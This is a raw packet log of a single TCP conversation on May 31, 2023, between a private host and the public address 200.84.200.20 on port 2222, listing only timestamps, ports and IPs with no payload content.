May 31, 2023 14:27:18.679831982 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.682084084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.682269096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.686517000 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.689209938 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.689366102 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.693564892 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.695111036 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.695785046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.698474884 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.700758934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.702769995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.702810049 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.706619978 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.707427025 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.709616899 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.709795952 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.714411020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.715069056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.716501951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.718453884 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.720938921 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.722457886 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.723406076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.723530054 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.727633953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.730046988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.730285883 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.734108925 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.734730005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.736968040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.737123013 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.741414070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.743402004 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.744103909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.747755051 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.748212099 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.750430107 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.750516891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.750622988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.755019903 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.757955074 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.758132935 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.761622906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.761789083 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.764312983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.764502048 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.764579058 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.767746925 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.767855883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.771466970 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.771603107 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.774419069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.778089046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.778631926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.778714895 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.782062054 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.782162905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.785289049 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.785430908 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.787215948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.790172100 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.792455912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.792552948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.794584990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.794651031 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.798751116 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.802398920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.805999994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.806129932 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.808643103 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.808759928 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.812618017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.812726021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.814759016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.818089008 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.819721937 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.822081089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.823632002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.826106071 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.826441050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.828546047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.828685045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.833571911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.834146023 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.835720062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.838109970 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.839901924 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.842093945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.842350006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.846242905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.847285986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.849289894 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.849435091 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.853733063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.854124069 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.856389999 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.858390093 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.860857010 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.862492085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.863126993 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.863698959 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.867543936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.870256901 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.870359898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.870500088 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.874480009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.874902010 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.876873016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.878607988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.879111052 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.883358002 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.884107113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.886161089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.887702942 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.890635967 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.890815973 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.892946959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.896100044 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.897697926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.898482084 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.899859905 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.904099941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.904239893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.906060934 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.906433105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.911411047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.911544085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.915489912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.918070078 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.918251991 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.920332909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.924109936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.924969912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.926198959 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.927440882 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.931871891 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.931982994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.934158087 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.934401989 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.938582897 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.938788891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.942080021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.942681074 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.945616007 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.945770979 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.948146105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.952117920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.952646017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.956087112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.956382036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.959002018 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.959247112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.961937904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.964190960 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.966418028 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.968172073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.968698025 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.970197916 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.973325014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.975428104 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.975606918 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.979800940 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.982450008 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.982683897 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.987191916 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.988158941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.989233017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.989386082 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.993199110 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.995933056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.996110916 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.998198032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.000089884 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.003144979 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.004098892 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.007289886 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.008086920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.009486914 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.012064934 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.014214993 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.016052961 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.016916990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.018079042 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.019042969 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.023291111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.023443937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.027695894 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.028095961 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.030658960 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.032093048 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.032603979 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.036107063 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.036990881 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.039834023 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.039975882 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.043971062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.046447039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.046696901 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.051038980 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.051455021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.053647995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.055579901 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.057758093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.058099985 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.060053110 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.062486887 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.065140963 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.066390038 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.067348003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.069470882 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.071624041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.073740959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.073834896 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.075937033 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.078166962 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.080930948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.081018925 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.084928036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.086179972 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.087557077 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.090075970 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.092024088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.094146967 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.094407082 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.098145962 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.098187923 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.098328114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.101488113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.101605892 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.105571985 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.106089115 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.108390093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.110068083 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.110447884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.115250111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.115437984 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.117880106 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.118230104 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.122127056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.123341084 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.126292944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.126462936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.128796101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.130211115 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.131448030 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.134267092 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.135858059 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.138430119 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.139838934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.141370058 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.145045042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.145235062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.147443056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.147555113 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.151916981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.152133942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.153799057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.153975964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.158919096 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.159161091 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.163284063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.166575909 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.167716980 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.170346975 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.170553923 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.174889088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.179352045 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.179363966 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.179470062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.186778069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.188159943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.188338041 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.190566063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.192368031 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.195681095 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.195847988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.202017069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.203737020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.203912973 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.204775095 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.206171036 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.206532001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.211123943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.211287022 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.217860937 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.218158960 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.221352100 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.222441912 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.224555016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.226649046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.226686954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.229454041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.229496956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.229602098 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.229813099 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.238464117 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.238703012 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.239543915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.241100073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.241265059 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.243388891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.247556925 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.248253107 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.250303030 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.250730991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.254451990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.254590988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.257143021 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.258249044 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.267509937 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.267582893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.267718077 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.271877050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.274612904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.274631977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.274730921 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.279026031 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.281431913 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.281683922 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.283617020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.286205053 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.288239002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.290275097 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.292555094 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.294446945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.295104027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.297409058 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.297581911 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.302387953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.303152084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.303165913 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.303261995 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.305406094 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.305552006 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.312282085 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.312402010 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.312500954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.312577963 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.316231966 CEST	2222	49738	200.84.200.20	192.168.2.3
